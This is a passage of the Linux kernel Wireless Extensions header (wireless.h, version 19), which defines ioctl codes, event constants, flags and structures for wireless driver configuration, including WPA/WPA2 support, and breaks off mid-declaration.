HPL - * Copyright (c) 1997-2005 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # net/core/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # net/core/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ /* Do not put any header in this file, this creates a mess when * exported to user space. Most users have included all the * relevant headers anyway... Jean II */ /*#include */ /* for "caddr_t" et al */ /*#include */ /* for "struct sockaddr" et al */ /*#include */ /* for IFNAMSIZ and co... */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 19 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) * * V14 to V15 * ---------- * - Add IW_PRIV_TYPE_ADDR for struct sockaddr private arg * - Make struct iw_freq signed (both m & e), add explicit padding * - Add IWEVCUSTOM for driver specific event/scanning token * - Add IW_MAX_GET_SPY for driver returning a lot of addresses * - Add IW_TXPOW_RANGE for range of Tx Powers * - Add IWEVREGISTERED & IWEVEXPIRED events for Access Points * - Add IW_MODE_MONITOR for passive monitor * * V15 to V16 * ---------- * - Increase the number of bitrates in iw_range to 32 (for 802.11g) * - Increase the number of frequencies in iw_range to 32 (for 802.11b+a) * - Reshuffle struct iw_range for increases, add filler * - Increase IW_MAX_AP to 64 for driver returning a lot of addresses * - Remove IW_MAX_GET_SPY because conflict with enhanced spy support * - Add SIOCSIWTHRSPY/SIOCGIWTHRSPY and "struct iw_thrspy" * - Add IW_ENCODE_TEMP and iw_range->encoding_login_index * * V16 to V17 * ---------- * - Add flags to frequency -> auto/fixed * - Document (struct iw_quality *)->updated, add new flags (INVALID) * - Wireless Event capability in struct iw_range * - Add support for relative TxPower (yick !) * * V17 to V18 (From Jouni Malinen ) * ---------- * - Add support for WPA/WPA2 * - Add extended encoding configuration (SIOCSIWENCODEEXT and * SIOCGIWENCODEEXT) * - Add SIOCSIWGENIE/SIOCGIWGENIE * - Add SIOCSIWMLME * - Add SIOCSIWPMKSA * - Add struct iw_range bit field for supported encoding capabilities * - Add optional scan request parameters for SIOCSIWSCAN * - Add SIOCSIWAUTH/SIOCGIWAUTH for setting authentication and WPA * related parameters (extensible up to 4096 parameter values) * - Add wireless events: IWEVGENIE, IWEVMICHAELMICFAILURE, * IWEVASSOCREQIE, IWEVASSOCRESPIE, IWEVPMKIDCAND * * V18 to V19 * ---------- * - Remove (struct iw_point *)->pointer from events and streams * - Remove header includes to help user space * - Increase IW_ENCODING_TOKEN_MAX from 32 to 64 * - Add IW_QUAL_ALL_UPDATED and IW_QUAL_ALL_INVALID macros * - Add explicit flag to tell stats are in dBm : IW_QUAL_DBM * - Add IW_IOCTL_IDX() and IW_EVENT_IDX() macros */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Wireless Identification */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ /* SIOCGIWNAME is used to verify the presence of Wireless Extensions. * Common values : "IEEE 802.11-DS", "IEEE 802.11-FH", "IEEE 802.11b"... * Don't put the name of your driver there, it's useless. */ /* Basic operations */ #define SIOCSIWNWID 0x8B02 /* set network id (pre-802.11) */ #define SIOCGIWNWID 0x8B03 /* get network id (the cell) */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* SIOCGIWSTATS is strictly used between user space and the kernel, and * is never passed to the driver (i.e. the driver will never see it). */ /* Spy support (statistics per MAC address - used for Mobile IP support) */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ #define SIOCSIWTHRSPY 0x8B12 /* set spy threshold (spy event) */ #define SIOCGIWTHRSPY 0x8B13 /* get spy threshold */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* Deprecated in favor of scanning */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* WPA : Generic IEEE 802.11 informatiom element (e.g., for WPA/RSN/WMM). * This ioctl uses struct iw_point and data buffer that includes IE id and len * fields. More than one IE may be included in the request. Setting the generic * IE to empty buffer (len=0) removes the generic IE from the driver. Drivers * are allowed to generate their own WPA/RSN IEs, but in these cases, drivers * are required to report the used IE as a wireless event, e.g., when * associating with an AP. */ #define SIOCSIWGENIE 0x8B30 /* set generic IE */ #define SIOCGIWGENIE 0x8B31 /* get generic IE */ /* WPA : IEEE 802.11 MLME requests */ #define SIOCSIWMLME 0x8B16 /* request MLME operation; uses * struct iw_mlme */ /* WPA : Authentication mode parameters */ #define SIOCSIWAUTH 0x8B32 /* set authentication mode params */ #define SIOCGIWAUTH 0x8B33 /* get authentication mode params */ /* WPA : Extended version of encoding configuration */ #define SIOCSIWENCODEEXT 0x8B34 /* set encoding token & mode */ #define SIOCGIWENCODEEXT 0x8B35 /* get encoding token & mode */ /* WPA2 : PMKSA cache management */ #define SIOCSIWPMKSA 0x8B36 /* PMKSA cache operation */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 32 ioctl are wireless device private, for 16 commands. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). More details in iwpriv.c. * And I repeat : you are not forced to use them with iwpriv, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ #define IW_IOCTL_IDX(cmd) ((cmd) - SIOCIWFIRST) /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics (scan) */ #define IWEVCUSTOM 0x8C02 /* Driver specific ascii string */ #define IWEVREGISTERED 0x8C03 /* Discovered a new node (AP mode) */ #define IWEVEXPIRED 0x8C04 /* Expired a node (AP mode) */ #define IWEVGENIE 0x8C05 /* Generic IE (WPA, RSN, WMM, ..) * (scan results); This includes id and * length fields. One IWEVGENIE may * contain more than one IE. Scan * results may contain one or more * IWEVGENIE events. */ #define IWEVMICHAELMICFAILURE 0x8C06 /* Michael MIC failure * (struct iw_michaelmicfailure) */ #define IWEVASSOCREQIE 0x8C07 /* IEs used in (Re)Association Request. * The data includes id and length * fields and may contain more than one * IE. This event is required in * Managed mode if the driver * generates its own WPA/RSN IE. This * should be sent just before * IWEVREGISTERED event for the * association. */ #define IWEVASSOCRESPIE 0x8C08 /* IEs used in (Re)Association * Response. The data includes id and * length fields and may contain more * than one IE. This may be sent * between IWEVASSOCREQIE and * IWEVREGISTERED events for the * association. */ #define IWEVPMKIDCAND 0x8C09 /* PMKID candidate for RSN * pre-authentication * (struct iw_pmkid_cand) */ #define IWEVFIRST 0x8C00 #define IW_EVENT_IDX(cmd) ((cmd) - IWEVFIRST) /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 /* struct iw_freq */ #define IW_PRIV_TYPE_ADDR 0x6000 /* struct sockaddr */ #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed number of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 32 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 32 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Note : if you more than 8 TXPowers, just set the max and min or * a few of them in the struct iw_range. */ /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 64 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ #define IW_MODE_MONITOR 6 /* Passive monitor (listen only) */ /* Statistics flags (bitmask in updated) */ #define IW_QUAL_QUAL_UPDATED 0x01 /* Value was updated since last read */ #define IW_QUAL_LEVEL_UPDATED 0x02 #define IW_QUAL_NOISE_UPDATED 0x04 #define IW_QUAL_ALL_UPDATED 0x07 #define IW_QUAL_DBM 0x08 /* Level + Noise are dBm */ #define IW_QUAL_QUAL_INVALID 0x10 /* Driver doesn't provide value */ #define IW_QUAL_LEVEL_INVALID 0x20 #define IW_QUAL_NOISE_INVALID 0x40 #define IW_QUAL_ALL_INVALID 0x70 /* Frequency flags */ #define IW_FREQ_AUTO 0x00 /* Let the driver decides */ #define IW_FREQ_FIXED 0x01 /* Force a specific value */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 64 /* 512 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ #define IW_ENCODE_TEMP 0x0400 /* Temporary key */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_TYPE 0x00FF /* Type of value */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ #define IW_TXPOW_RELATIVE 0x0002 /* Value is in arbitrary units */ #define IW_TXPOW_RANGE 0x1000 /* Range of value between min/max */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* struct iw_scan_req scan_type */ #define IW_SCAN_TYPE_ACTIVE 0 #define IW_SCAN_TYPE_PASSIVE 1 /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /* Max number of char in custom event - use multiple of them if needed */ #define IW_CUSTOM_MAX 256 /* In bytes */ /* Generic information element */ #define IW_GENERIC_IE_MAX 1024 /* MLME requests (SIOCSIWMLME / struct iw_mlme) */ #define IW_MLME_DEAUTH 0 #define IW_MLME_DISASSOC 1 /* SIOCSIWAUTH/SIOCGIWAUTH struct iw_param flags */ #define IW_AUTH_INDEX 0x0FFF #define IW_AUTH_FLAGS 0xF000 /* SIOCSIWAUTH/SIOCGIWAUTH parameters (0 .. 4095) * (IW_AUTH_INDEX mask in struct iw_param flags; this is the index of the * parameter that is being set/get to; value will be read/written to * struct iw_param value field) */ #define IW_AUTH_WPA_VERSION 0 #define IW_AUTH_CIPHER_PAIRWISE 1 #define IW_AUTH_CIPHER_GROUP 2 #define IW_AUTH_KEY_MGMT 3 #define IW_AUTH_TKIP_COUNTERMEASURES 4 #define IW_AUTH_DROP_UNENCRYPTED 5 #define IW_AUTH_80211_AUTH_ALG 6 #define IW_AUTH_WPA_ENABLED 7 #define IW_AUTH_RX_UNENCRYPTED_EAPOL 8 #define IW_AUTH_ROAMING_CONTROL 9 #define IW_AUTH_PRIVACY_INVOKED 10 /* IW_AUTH_WPA_VERSION values (bit field) */ #define IW_AUTH_WPA_VERSION_DISABLED 0x00000001 #define IW_AUTH_WPA_VERSION_WPA 0x00000002 #define IW_AUTH_WPA_VERSION_WPA2 0x00000004 /* IW_AUTH_PAIRWISE_CIPHER and IW_AUTH_GROUP_CIPHER values (bit field) */ #define IW_AUTH_CIPHER_NONE 0x00000001 #define IW_AUTH_CIPHER_WEP40 0x00000002 #define IW_AUTH_CIPHER_TKIP 0x00000004 #define IW_AUTH_CIPHER_CCMP 0x00000008 #define IW_AUTH_CIPHER_WEP104 0x00000010 /* IW_AUTH_KEY_MGMT values (bit field) */ #define IW_AUTH_KEY_MGMT_802_1X 1 #define IW_AUTH_KEY_MGMT_PSK 2 /* IW_AUTH_80211_AUTH_ALG values (bit field) */ #define IW_AUTH_ALG_OPEN_SYSTEM 0x00000001 #define IW_AUTH_ALG_SHARED_KEY 0x00000002 #define IW_AUTH_ALG_LEAP 0x00000004 /* IW_AUTH_ROAMING_CONTROL values */ #define IW_AUTH_ROAMING_ENABLE 0 /* driver/firmware based roaming */ #define IW_AUTH_ROAMING_DISABLE 1 /* user space program used for roaming * control */ /* SIOCSIWENCODEEXT definitions */ #define IW_ENCODE_SEQ_MAX_SIZE 8 /* struct iw_encode_ext ->alg */ #define IW_ENCODE_ALG_NONE 0 #define IW_ENCODE_ALG_WEP 1 #define IW_ENCODE_ALG_TKIP 2 #define IW_ENCODE_ALG_CCMP 3 /* struct iw_encode_ext ->ext_flags */ #define IW_ENCODE_EXT_TX_SEQ_VALID 0x00000001 #define IW_ENCODE_EXT_RX_SEQ_VALID 0x00000002 #define IW_ENCODE_EXT_GROUP_KEY 0x00000004 #define IW_ENCODE_EXT_SET_TX_KEY 0x00000008 /* IWEVMICHAELMICFAILURE : struct iw_michaelmicfailure ->flags */ #define IW_MICFAILURE_KEY_ID 0x00000003 /* Key ID 0..3 */ #define IW_MICFAILURE_GROUP 0x00000004 #define IW_MICFAILURE_PAIRWISE 0x00000008 #define IW_MICFAILURE_STAKEY 0x00000010 #define IW_MICFAILURE_COUNT 0x00000060 /* 1 or 2 (0 = count not supported) */ /* Bit field values for enc_capa in struct iw_range */ #define IW_ENC_CAPA_WPA 0x00000001 #define IW_ENC_CAPA_WPA2 0x00000002 #define IW_ENC_CAPA_CIPHER_TKIP 0x00000004 #define IW_ENC_CAPA_CIPHER_CCMP 0x00000008 /* Event capability macros - in (struct iw_range *)->event_capa * Because we have more than 32 possible events, we use an array of * 32 bit bitmasks. Note : 32 bits = 0x20 = 2^5. */ #define IW_EVENT_CAPA_BASE(cmd) ((cmd >= SIOCIWFIRSTPRIV) ? \ (cmd - SIOCIWFIRSTPRIV + 0x60) : \ (cmd - SIOCSIWCOMMIT)) #define IW_EVENT_CAPA_INDEX(cmd) (IW_EVENT_CAPA_BASE(cmd) >> 5) #define IW_EVENT_CAPA_MASK(cmd) (1 << (IW_EVENT_CAPA_BASE(cmd) & 0x1F)) /* Event capability constants - event autogenerated by the kernel * This list is valid for most 802.11 devices, customise as needed... */ #define IW_EVENT_CAPA_K_0 (IW_EVENT_CAPA_MASK(0x8B04) | \ IW_EVENT_CAPA_MASK(0x8B06) | \ IW_EVENT_CAPA_MASK(0x8B1A)) #define IW_EVENT_CAPA_K_1 (IW_EVENT_CAPA_MASK(0x8B2A)) /* "Easy" macro to set events in iw_range (less efficient) */ #define IW_EVENT_CAPA_SET(event_capa, cmd) (event_capa[IW_EVENT_CAPA_INDEX(cmd)] |= IW_EVENT_CAPA_MASK(cmd)) #define IW_EVENT_CAPA_SET_KERNEL(event_capa) {event_capa[0] |= IW_EVENT_CAPA_K_0; event_capa[1] |= IW_EVENT_CAPA_K_1; } /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { void __user *pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __s32 m; /* Mantissa */ __s16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ __u8 flags; /* Flags (fixed/auto) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* * Quality range (for spy threshold) */ struct iw_thrspy { struct sockaddr addr; /* Source address (hw/mac) */ struct iw_quality qual; /* Quality of the link */ struct iw_quality low; /* Low threshold */ struct iw_quality high; /* High threshold */ }; /* * Optional data for scan request * * Note: these optional parameters are controlling parameters for the * scanning behavior, these do not apply to getting scan results * (SIOCGIWSCAN). Drivers are expected to keep a local BSS table and * provide a merged results with all BSSes even if the previous scan * request limited scanning to a subset, e.g., by specifying an SSID. * Especially, scan results are required to include an entry for the * current BSS if the driver is in Managed mode and associated with an AP. */ struct iw_scan_req { __u8 scan_type; /* IW_SCAN_TYPE_{ACTIVE,PASSIVE} */ __u8 essid_len; __u8 num_channels; /* num entries in channel_list; * 0 = scan all allowed channels */ __u8 flags; /* reserved as padding; use zero, this may * be used in the future for adding flags * to request different scan behavior */ struct sockaddr bssid; /* ff:ff:ff:ff:ff:ff for broadcast BSSID or * individual address of a specific BSS */ /* * Use this ESSID if IW_SCAN_THIS_ESSID flag is used instead of using * the current ESSID. This allows scan requests for specific ESSID * without having to change the current ESSID and potentially breaking * the current association. */ __u8 essid[IW_ESSID_MAX_SIZE]; /* * Optional parameters for changing the default scanning behavior. * These are based on the MLME-SCAN.request from IEEE Std 802.11. * TU is 1.024 ms. If these are set to 0, driver is expected to use * reasonable default values. min_channel_time defines the time that * will be used to wait for the first reply on each channel. If no * replies are received, next channel will be scanned after this. If * replies are received, total time waited on the channel is defined by * max_channel_time. */ __u32 min_channel_time; /* in TU */ __u32 max_channel_time; /* in TU */ struct iw_freq channel_list[IW_MAX_FREQUENCIES]; }; /* ------------------------- WPA SUPPORT ------------------------- */ /* * Extended data structure for get/set encoding (this is used with * SIOCSIWENCODEEXT/SIOCGIWENCODEEXT. struct iw_point and IW_ENCODE_* * flags are used in the same way as with SIOCSIWENCODE/SIOCGIWENCODE and * only the data contents changes (key data -> this structure, including * key data). * * If the new key is the first group key, it will be set as the default * TX key. Otherwise, default TX key index is only changed if * IW_ENCODE_EXT_SET_TX_KEY flag is set. * * Key will be changed with SIOCSIWENCODEEXT in all cases except for * special "change TX key index" operation which is indicated by setting * key_len = 0 and ext_flags |= IW_ENCODE_EXT_SET_TX_KEY. * * tx_seq/rx_seq are only used when respective * IW_ENCODE_EXT_{TX,RX}_SEQ_VALID flag is set in ext_flags. Normal * TKIP/CCMP operation is to set RX seq with SIOCSIWENCODEEXT and start * TX seq from zero whenever key is changed. SIOCGIWENCODEEXT is normally * used only by an Authenticator (AP or an IBSS station) to get the * current TX sequence number. Using TX_SEQ_VALID for SIOCSIWENCODEEXT and * RX_SEQ_VALID for SIOCGIWENCODEEXT are optional, but can be useful for * debugging/testing. */ struct iw_encode_ext { __u32 ext_flags; /* IW_ENCODE_EXT_* */ __u8 tx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ __u8 rx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ struct sockaddr addr; /* ff:ff:ff:ff:ff:ff for broadcast/multicast * (group) keys or unicast address for * individual keys */ __u16 alg; /* IW_ENCODE_ALG_* */ __u16 key_len; __u8 key[0]; }; /* SIOCSIWMLME data */ struct iw_mlme { __u16 cmd; /* IW_MLME_* */ __u16 reason_code; struct sockaddr addr; }; /* SIOCSIWPMKSA data */ #define IW_PMKSA_ADD 1 #define IW_PMKSA_REMOVE 2 #define IW_PMKSA_FLUSH 3 #define IW_PMKID_LEN 16 struct iw_pmksa { __u32 cmd; /* IW_PMKSA_* */ struct sockaddr bssid; __u8 pmkid[IW_PMKID_LEN]; }; /* IWEVMICHAELMICFAILURE data */ struct iw_michaelmicfailure { __u32 flags; struct sockaddr src_addr; __u8 tsc[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ }; /* IWEVPMKIDCAND data */ #define IW_PMKID_CAND_PREAUTH 0x00000001 /* RNS pre-authentication enabled */ struct 